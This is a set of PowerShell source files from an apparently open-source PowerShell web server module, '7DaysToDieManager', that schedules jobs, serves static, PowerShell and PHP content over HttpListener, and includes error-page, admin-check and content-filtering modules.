";" + $HomeDirectory + ";" + $LogDirectory + ";" + $CustomConfig + ";" + $CustomChildConfig + ";" + $CustomJob $CreateJobID = Add-Content -Path $CreateJobIDPath -Value $CreateJobIDValue # Create Scheduled Jobs $CreateTask = schtasks /create /tn "$TaskName" /xml "$7DaysToDieManagerPath\jobs\template.xml" /ru SYSTEM $ChangeTaskProcess = $true while ($ChangeTaskProcess) { if ($SSL) { $ChangeTask = schtasks /change /tn "$TaskName" /tr "Powershell -Command &{Import-Module 7DaysToDieManager; Start-7DaysToDieManager -SSL -JobID $TaskID}" /rl highest } else { $ChangeTask = schtasks /change /tn "$TaskName" /tr "Powershell -Command &{Import-Module 7DaysToDieManager; Start-7DaysToDieManager -JobID $TaskID}" /rl highest } if ($ChangeTask) { $ChangeTaskProcess = $false } } if ($JobUsername -and $JobPassword) { $ChangeTaskProcess = $true while ($ChangeTaskProcess) { $ChangeTask = schtasks /tn "$TaskName" /Change /RU "$JobUsername" /RP "$JobPassword" if ($ChangeTask) { $ChangeTaskProcess = $false } } } # Start Background Job $RunTask = schtasks /run /tn "$TaskName" # 7DTDSM Server Welcome Banner Get-7DTDSMWelcomeBanner -Hostname $Hostname -Port $Port -SSL $SSL -SSLIP $SSLIP -SSLPort $SSLPort -DebugMode $DebugMode } } else { # 7DTDSM Server Scheduled Background Jobs $7DTDSMJobArgs = @($Hostname,$Port,$HomeDirectory,$LogDirectory,$7DTDSMModulePath,$asJob) $7DTDSMJob = Start-Job -scriptblock { param ($Hostname, $Port, $HomeDirectory, $LogDirectory, $7DTDSMModulePath, $asJob) # Import Functions . $7DTDSMModulePath\modules\functions.ps1 # 7DTDSM Server Custom Configuration $7DTDSMCustomConfigPath = $HomeDirectory + "\config.ps1" # Test Config Path $Test7DTDSMCustomConfigPath = Test-Path $7DTDSMCustomConfigPath if (!$Test7DTDSMCustomConfigPath) { # Import Config . $7DTDSMModulePath\modules\config.ps1 } else { # Import Config . $HomeDirectory\config.ps1 } while ($true) { Start-Sleep -s 60 # Get Job Time $JobTime = Get-Date -format HHmm if ($LogSchedule -eq "Hourly") { # 7DTDSM Server Log Hashing (at *:30 hourly) if ($JobTime -eq "*30") { New-7DTDSMLogHash -LogSchedule $LogSchedule -LogDirectory $LogDirectory } } else { # 7DTDSM Server Log Hashing (at 02:30 daily) if ($JobTime -eq "0230") { New-7DTDSMLogHash -LogSchedule $LogSchedule -LogDirectory $LogDirectory } } } } -ArgumentList $7DTDSMJobArgs # 7DTDSM Server Custom Background Jobs $7DTDSMCustomJobArgs = @($Hostname,$Port,$HomeDirectory,$LogDirectory,$7DTDSMModulePath,$CustomJob,$CustomJobSchedule,$asJob) $7DTDSMCustomJob = Start-Job -scriptblock { param ($Hostname, $Port, $HomeDirectory, $LogDirectory, $7DTDSMModulePath, $CustomJob, $CustomJobSchedule, $asJob) # Import Functions . $7DTDSMModulePath\modules\functions.ps1 # 7DTDSM Server Custom Configuration $7DTDSMCustomConfigPath = $HomeDirectory + "\config.ps1" # Test Config Path $Test7DTDSMCustomConfigPath = Test-Path $7DTDSMCustomConfigPath if (!$Test7DTDSMCustomConfigPath) { # Import Config . $7DTDSMModulePath\modules\config.ps1 } else { # Import Config . $HomeDirectory\config.ps1 } while ($true) { Start-Sleep -s 60 # Get Job Time $JobTime = Get-Date -format HHmm if ($CustomJobSchedule -eq "1") { # 7DTDSM Server Custom Jobs (at every 1 minute) if ($CustomJob) { . $CustomJob } } elseif ($CustomJobSchedule -eq "5") { # 7DTDSM Server Custom Jobs (at every 5 minutes) if ($JobTime -like "*5" -or $JobTime -like "*0") { if ($CustomJob) { . $CustomJob } } } elseif ($CustomJobSchedule -eq "10") { # 7DTDSM Server Custom Jobs (at every 10 minutes) if ($JobTime -like "*00" -or $JobTime -like "*10" -or $JobTime -like "*20" -or $JobTime -like "*30" -or $JobTime -like "*40" -or $JobTime -like "*50") { if ($CustomJob) { . $CustomJob } } } elseif ($CustomJobSchedule -eq "20") { # 7DTDSM Server Custom Jobs (at every 20 minutes) if ($JobTime -like "*00" -or $JobTime -like "*20" -or $JobTime -like "*40") { if ($CustomJob) { . $CustomJob } } } elseif ($CustomJobSchedule -eq "30") { # 7DTDSM Server Custom Jobs (at every 30 minutes) if ($JobTime -like "*00" -or $JobTime -like "*30") { if ($CustomJob) { . $CustomJob } } } elseif ($CustomJobSchedule -eq "60") { # 7DTDSM Server Custom Jobs (at every hour) if ($JobTime -like "*00") { if ($CustomJob) { . $CustomJob } } } else { # 7DTDSM Server Custom Jobs (at every 5 minutes) if ($JobTime -like "*5" -or $JobTime -like "*0") { if ($CustomJob) { . $CustomJob } } } } } -ArgumentList $7DTDSMCustomJobArgs # 7DTDSM Server Custom Config if ($CustomConfig) { . $CustomConfig } # Create an HTTPListener try { $Listener = New-Object Net.HttpListener } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } # Add Prefix Urls try { if (!$Hostname) { $Hostname = "+" if (!$Port) { $Port = "8080" } $Prefix = "http://" + $Hostname + ":" + $Port + "/" $Listener.Prefixes.Add($Prefix) } else { $Hostnames = @($Hostname.Split(",")) if (!$Port) { $Port = "8080" } foreach ($Hostname in $Hostnames) { $Prefix = "http://" + $Hostname + ":" + $Port + "/" $Listener.Prefixes.Add($Prefix) } } if ($SSL) { if (!$SSLIP) { $SSLIP = "127.0.0.1" if (!$SSLPort) { $SSLPort = "8443" } $Prefix = "https://" + $SSLIP + ":" + $SSLPort + "/" $Listener.Prefixes.Add($Prefix) } else { $SSLIPAddresses = @($SSLIP.Split(",")) if (!$SSLPort) { $SSLPort = "8443" } foreach ($SSLIPAddress in $SSLIPAddresses) { $Prefix = "https://" + $SSLIPAddress + ":" + $SSLPort + "/" $Listener.Prefixes.Add($Prefix) } } } } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } # Start Listener try { $Listener.Start() } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } # Configure SSL try { if ($SSL) { if ($SSLName) { $7DTDSMCert = Get-ChildItem -Recurse Cert: | Where-Object { $_.FriendlyName -eq $SSLName } if (!$7DTDSMCert) { $7DTDSMCert = Get-ChildItem -Recurse Cert: | Where-Object { $_.FriendlyName -eq "7DaysToDieManager SSL Certificate" } } } else { $7DTDSMCert = Get-ChildItem -Recurse Cert: | Where-Object { $_.FriendlyName -eq "7DaysToDieManager SSL Certificate" } } if (!$7DTDSMCert) { if ($DebugMode) { Add-Content -Value "Sorry, I couldn't find your SSL certificate." -Path "$LogDirectory\debug.txt" Add-Content -Value "Creating Self-Signed SSL certificate.." -Path "$LogDirectory\debug.txt" } Request-7DTDSMCertificate $7DTDSMCert = Get-ChildItem -Recurse Cert: | Where-Object { $_.FriendlyName -eq "7DaysToDieManager SSL Certificate" } } # Register SSL Certificate $CertThumbprint = $7DTDSMCert[0].Thumbprint Register-7DTDSMCertificate -SSLIP $SSLIP -SSLPort $SSLPort -Thumbprint $CertThumbprint -DebugMode $DebugMode } } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } # 7DTDSM Server Welcome Banner try { Get-7DTDSMWelcomeBanner -Hostname $Hostname -Port $Port -SSL $SSL -SSLIP $SSLIP -SSLPort $SSLPort -DebugMode $DebugMode } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } # 7DTDSM Server Async Process Script $ScriptBlock = ` { Param($Listener, $Hostname, $Hostnames, $HomeDirectory, $LogDirectory, $7DTDSMModulePath, $CustomChildConfig, $DebugMode) # Import Functions . $7DTDSMModulePath\modules\functions.ps1 # Enable Debug Mode if ($DebugMode) { $DebugPreference = "Continue" } else { $ErrorActionPreference = "silentlycontinue" } # PHP Encoding Module . $7DTDSMModulePath\modules\phpencoding.ps1 # 7DTDSM Server Custom Child Config if ($CustomChildConfig) { . $CustomChildConfig } # Create loop $ShouldProcess = $true # Get Server Requests while ($ShouldProcess) { # 7DTDSM Server Custom Configuration $7DTDSMCustomConfigPath = $HomeDirectory + "\config.ps1" # Test Config Path $Test7DTDSMCustomConfigPath = Test-Path $7DTDSMCustomConfigPath if (!$Test7DTDSMCustomConfigPath) { # Import Config . $7DTDSMModulePath\modules\config.ps1 } else { # Import Config . $HomeDirectory\config.ps1 } # Reset Authentication $Listener.AuthenticationSchemes = "Anonymous"; # Set Authentication if ($BasicAuthentication -eq "On") { $Listener.AuthenticationSchemes = "Basic"; } if ($NTLMAuthentication -eq "On") { $Listener.AuthenticationSchemes = "NTLM"; } if ($WindowsAuthentication -eq "On") { $Listener.AuthenticationSchemes = "IntegratedWindowsAuthentication"; } # Open Connection $Context = $Listener.GetContext() # Authentication Module . $7DTDSMModulePath\modules\authentication.ps1 # Set Home Directory [IO.Directory]::SetCurrentDirectory("$HomeDirectory") $File = $Context.Request.Url.LocalPath $Response = $Context.Response $Response.Headers.Add("Accept-Encoding","gzip"); $Response.Headers.Add("Server","7 Days To Die Server Manager"); $Response.Headers.Add("X-Powered-By","Death"); # Set Request Parameters $Request = $Context.Request $InputStream = $Request.InputStream $ContentEncoding = $Request.ContentEncoding # IP Restriction Module . $7DTDSMModulePath\modules\iprestriction.ps1 # Get Query String $7DTDSMQuery = Get-7DTDSMQueryString -Request $Request # Get Post Stream $7DTDSMPost = Get-7DTDSMPostStream -InputStream $InputStream -ContentEncoding $ContentEncoding # Cookie Information $7DTDSMCookies = $Request.Cookies["7DTDSMSessionID"]; if (!$7DTDSMCookies) { $7DTDSMCookie = New-Object Net.Cookie $7DTDSMCookie.Name = "7DTDSMSessionID" $7DTDSMCookie.Value = New-7DTDSMTimeStamp $Response.AppendCookie($7DTDSMCookie) } # Get Default Document if ($File -notlike "*.*" -and $File -like "*/") { $FolderPath = [System.IO.Directory]::GetCurrentDirectory() + $File $RequstURL = [string]$Request.Url $SubfolderName = $File $File = $File + $DefaultDocument } elseif ($File -notlike "*.*" -and $File -notlike "*/") { $FolderPath = [System.IO.Directory]::GetCurrentDirectory() + $File + "/" $RequstURL = [string]$Request.Url + "/" $SubfolderName = $File + "/" $File = $File + "/" + $DefaultDocument } else { $FolderPath = $Null; } # 7DTDSM API Support if ($File -like "*.psxml") { $File = $File.Replace(".psxml",".ps1") # Full File Path $File = [System.IO.Directory]::GetCurrentDirectory() + $File # Get Mime Type $MimeType = "text/psxml" } else { # Full File Path $File = [System.IO.Directory]::GetCurrentDirectory() + $File # Get Mime Type $FileExtension = (Get-ChildItem $File -EA SilentlyContinue).Extension $MimeType = Get-MimeType $FileExtension } # Content Filtering Module . $7DTDSMModulePath\modules\contentfiltering.ps1 # Stream Content if ([System.IO.File]::Exists($File) -and $ContentSessionDrop -eq "0" -and $IPSessionDrop -eq "0") { if ($MimeType -eq "text/ps1") { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $File)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } elseif ($MimeType -eq "text/psxml") { try { $Response.ContentType = "text/xml" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $File)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } elseif ($MimeType -eq "text/php") { try { if ($PHPCgiPath) { $TestPHPCgiPath = Test-Path -Path $PHPCgiPath } else { $TestPHPCgiPath = $false } if ($TestPHPCgiPath) { if ($File -like "C:\Windows\*") { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\phpsecurityerror.ps1)") } else { $Response.ContentType = "text/html" $PHPContentOutput = Get-7DTDSMPHPContent -PHPCgiPath "$PHPCgiPath" -File "$File" -7DTDSMPHPGET $7DTDSMQuery.7DTDSMQueryString -7DTDSMPHPPOST $7DTDSMPost.7DTDSMPostStream $PHPContentOutput = Set-PHPEncoding -PHPOutput $PHPContentOutput $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$PHPContentOutput") } } else { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\phpcgierror.ps1)") } } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } else { try { $Response.ContentType = "$MimeType" $FileContent = [System.IO.File]::ReadAllBytes($File) $Response.ContentLength64 = $FileContent.Length $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response.OutputStream.Write($FileContent, 0, $FileContent.Length) } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } else { # Content Filtering and IP Restriction Control if ($ContentSessionDrop -eq "0" -and $IPSessionDrop -eq "0") { if ($FolderPath) { $TestFolderPath = Test-Path -Path $FolderPath } else { $TestFolderPath = $false } } else { $TestFolderPath = $false } if ($DirectoryBrowsing -eq "On" -and $TestFolderPath) { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) if ($Hostname -eq "+") { $HeaderName = "localhost" } else { $HeaderName = $Hostnames[0] } $DirectoryContent = (Get-DirectoryContent -Path "$FolderPath" -HeaderName $HeaderName -RequestURL $RequestURL -SubfolderName $SubfolderName) $Response.WriteLine("$DirectoryContent") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } else { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\notfound.ps1)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } # Logging Module . $7DTDSMModulePath\modules\log.ps1 # Close Connection try { $Response.Close() } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } if ($DebugMode) { # Invoke 7DTDSM Server Multithread Process - Thread 1 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig -DebugMode | Out-Null # Invoke 7DTDSM Server Multithread Process - Thread 2 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig -DebugMode | Out-Null # Invoke 7DTDSM Server Multithread Process - Thread 3 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig -DebugMode | Out-Null } else { # Invoke 7DTDSM Server Multithread Process - Thread 1 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig | Out-Null # Invoke 7DTDSM Server Multithread Process - Thread 2 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig | Out-Null # Invoke 7DTDSM Server Multithread Process - Thread 3 Invoke-AsyncHTTPRequest -ScriptBlock $ScriptBlock -Listener $Listener -Hostname $Hostname -Hostnames $Hostnames -HomeDirectory $HomeDirectory -LogDirectory $LogDirectory -7DTDSMModulePath $7DTDSMModulePath -CustomChildConfig $CustomChildConfig | Out-Null } # Create loop $ShouldProcess = $true # Get Server Requests while ($ShouldProcess) { # 7DTDSM Server Custom Configuration $7DTDSMCustomConfigPath = $HomeDirectory + "\config.ps1" # Test Config Path $Test7DTDSMCustomConfigPath = Test-Path $7DTDSMCustomConfigPath if (!$Test7DTDSMCustomConfigPath) { # Import Config . $7DTDSMModulePath\modules\config.ps1 } else { # Import Config . $HomeDirectory\config.ps1 } # Reset Authentication $Listener.AuthenticationSchemes = "Anonymous"; # Set Authentication if ($BasicAuthentication -eq "On") { $Listener.AuthenticationSchemes = "Basic"; } if ($NTLMAuthentication -eq "On") { $Listener.AuthenticationSchemes = "NTLM"; } if ($WindowsAuthentication -eq "On") { $Listener.AuthenticationSchemes = "IntegratedWindowsAuthentication"; } # Open Connection $Context = $Listener.GetContext() # Authentication Module . $7DTDSMModulePath\modules\authentication.ps1 # Set Home Directory [IO.Directory]::SetCurrentDirectory("$HomeDirectory") $File = $Context.Request.Url.LocalPath $Response = $Context.Response $Response.Headers.Add("Accept-Encoding","gzip"); $Response.Headers.Add("Server","7DTDSM Server"); $Response.Headers.Add("X-Powered-By","Microsoft PowerShell"); # Set Request Parameters $Request = $Context.Request $InputStream = $Request.InputStream $ContentEncoding = $Request.ContentEncoding # IP Restriction Module . $7DTDSMModulePath\modules\iprestriction.ps1 # Get Query String $7DTDSMQuery = Get-7DTDSMQueryString -Request $Request # Get Post Stream $7DTDSMPost = Get-7DTDSMPostStream -InputStream $InputStream -ContentEncoding $ContentEncoding # Cookie Information $7DTDSMCookies = $Request.Cookies["7DTDSMSessionID"]; if (!$7DTDSMCookies) { $7DTDSMCookie = New-Object Net.Cookie $7DTDSMCookie.Name = "7DTDSMSessionID" $7DTDSMCookie.Value = New-7DTDSMTimeStamp $Response.AppendCookie($7DTDSMCookie) } # Get Default Document if ($File -notlike "*.*" -and $File -like "*/") { $FolderPath = [System.IO.Directory]::GetCurrentDirectory() + $File $RequstURL = [string]$Request.Url $SubfolderName = $File $File = $File + $DefaultDocument } elseif ($File -notlike "*.*" -and $File -notlike "*/") { $FolderPath = [System.IO.Directory]::GetCurrentDirectory() + $File + "/" $RequstURL = [string]$Request.Url + "/" $SubfolderName = $File + "/" $File = $File + "/" + $DefaultDocument } else { $FolderPath = $Null; } # 7DTDSM API Support if ($File -like "*.psxml") { $File = $File.Replace(".psxml",".ps1") # Full File Path $File = [System.IO.Directory]::GetCurrentDirectory() + $File # Get Mime Type $MimeType = "text/psxml" } else { # Full File Path $File = [System.IO.Directory]::GetCurrentDirectory() + $File # Get Mime Type $FileExtension = (Get-ChildItem $File -EA SilentlyContinue).Extension $MimeType = Get-MimeType $FileExtension } # Content Filtering Module . $7DTDSMModulePath\modules\contentfiltering.ps1 # Stream Content if ([System.IO.File]::Exists($File) -and $ContentSessionDrop -eq "0" -and $IPSessionDrop -eq "0") { if ($MimeType -eq "text/ps1") { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $File)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } elseif ($MimeType -eq "text/psxml") { try { $Response.ContentType = "text/xml" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $File)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } elseif ($MimeType -eq "text/php") { try { if ($PHPCgiPath) { $TestPHPCgiPath = Test-Path -Path $PHPCgiPath } else { $TestPHPCgiPath = $false } if ($TestPHPCgiPath) { if ($File -like "C:\Windows\*") { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\phpsecurityerror.ps1)") } else { $Response.ContentType = "text/html" $PHPContentOutput = Get-7DTDSMPHPContent -PHPCgiPath "$PHPCgiPath" -File "$File" -7DTDSMPHPGET $7DTDSMQuery.7DTDSMQueryString -7DTDSMPHPPOST $7DTDSMPost.7DTDSMPostStream $PHPContentOutput = Set-PHPEncoding -PHPOutput $PHPContentOutput $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$PHPContentOutput") } } else { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\phpcgierror.ps1)") } } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } else { try { $Response.ContentType = "$MimeType" $FileContent = [System.IO.File]::ReadAllBytes($File) $Response.ContentLength64 = $FileContent.Length $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response.OutputStream.Write($FileContent, 0, $FileContent.Length) } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } else { # Content Filtering and IP Restriction Control if ($ContentSessionDrop -eq "0" -and $IPSessionDrop -eq "0") { if ($FolderPath) { $TestFolderPath = Test-Path -Path $FolderPath } else { $TestFolderPath = $false } } else { $TestFolderPath = $false } if ($DirectoryBrowsing -eq "On" -and $TestFolderPath) { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::OK $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) if ($Hostname -eq "+") { $HeaderName = "localhost" } else { $HeaderName = $Hostnames[0] } $DirectoryContent = (Get-DirectoryContent -Path "$FolderPath" -HeaderName $HeaderName -RequestURL $RequestURL -SubfolderName $SubfolderName) $Response.WriteLine("$DirectoryContent") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } else { try { $Response.ContentType = "text/html" $Response.StatusCode = [System.Net.HttpStatusCode]::NotFound $LogResponseStatus = $Response.StatusCode $Response = New-Object IO.StreamWriter($Response.OutputStream,[Text.Encoding]::UTF8) $Response.WriteLine("$(. $7DTDSMModulePath\modules\notfound.ps1)") } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } # Logging Module . $7DTDSMModulePath\modules\log.ps1 # Close Connection try { $Response.Close() } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } # Stop Listener $Listener.Stop() } } }
phpcgierror.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server 404 Module if ($HostName -eq "+") { $HeaderName = "localhost" } else { $HeaderName = $HostNames[0] } @" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PoSH Server - 404.3 - Not found</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;background:#CBE1EF;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 40px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;padding:4px 15px 4px 10px;margin:4px 0 8px -12px;_margin-top:0px; border-top:1px solid #EDEDED;border-left:1px solid #EDEDED;border-right:1px solid #969696; border-bottom:1px solid #969696;background:#E7ECF0;font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5C87B2; }#content{margin:0 0 0 2%;position:relative;} .summary-container,.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} .config_source{background:#fff5c4;} .content-container p{margin:0 0 10px 0; }#details-left{width:35%;float:left;margin-right:2%; }#details-right{width:63%;float:left;overflow:hidden; }#server_version{width:96%;_height:1px;min-height:1px;margin:0 0 5px 0;padding:11px 2% 8px 2%;color:#FFFFFF; background-color:#5A7FA5;border-bottom:1px solid #C1CFDD;border-top:1px solid #4A6C8E;font-weight:normal; font-size:1em;color:#FFF;text-align:right; }#server_version p{margin:5px 0;} table{margin:4px 0 4px 0;width:100%;border:none;} td,th{vertical-align:top;padding:3px 0;text-align:left;font-weight:bold;border:none;} th{width:30%;text-align:right;padding-right:2%;font-weight:normal;} thead th{background-color:#ebebeb;width:25%; }#details-right th{width:20%;} table tr.alt td,table tr.alt th{background-color:#ebebeb;} .highlight-code{color:#CC0000;font-weight:bold;font-style:italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="header"><h1>Server Error in Application "$HeaderName"</h1></div> <div id="server_version"><p>PoSH Server Microsoft-HTTPAPI/2.0</p></div> <div id="content"> <div class="content-container"> <fieldset><legend>Error Summary</legend> <h2>HTTP Error 404.3 - Not Found</h2> <h3>The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.</h3> </fieldset> </div> <div class="content-container"> <fieldset><legend>Most likely causes:</legend> <ul> <li>𣗏t is possible that a handler mapping is missing. By default, the static file handler processes all content.</li> <li>𥸎he feature you are trying to use may not be installed.</li> <li>𥸎he appropriate MIME map is not enabled for the Web site or application.</li> <li>𣗏f PHP is not installed.</li></ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Things you can try:</legend> <ul> <li>Ensure that the expected handler for the current page is mapped.</li> <li>Make sure you provided correct php-cgi.exe path in config file.</li> </ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Links and More Information</legend> This error occurs when the file extension of the requested URL is for a MIME type that is not configured on the server. You can add a MIME type for the file extension for files that are not dynamic scripting pages, database, or configuration files. Process those file types using a handler. You should not allows direct downloads of dynamic scripting pages, database or configuration files. <p><a href="http://go.microsoft.com/fwlink/?LinkID=62293&IIS70Error=404,3,0x80070032,8250">View more information &raquo;</a></p> </fieldset> </div> </div> </body> </html> "@
adminverification.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server Admin Privileges Verification $Privileges = Confirm-PoSHAdminPrivileges if ($Privileges -ne "Validated") { Write-Host " " Write-Host "Please execute PoSH Server with administrative privileges." Write-Host "Aborting.." Write-Host " " $ShouldProcess = $false }
contentfiltering.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server Content Filtering Module if ($ContentFiltering -eq "On") { if ($ContentFilterBlackList -match $MimeType) { Write-Debug "$MimeType is not allowed, dropping.." $ContentSessionDrop = "1"; } else { $ContentSessionDrop = "0"; } } else { $ContentSessionDrop = "0"; }
log.ps1
7DaysToDieManager-1.0.0
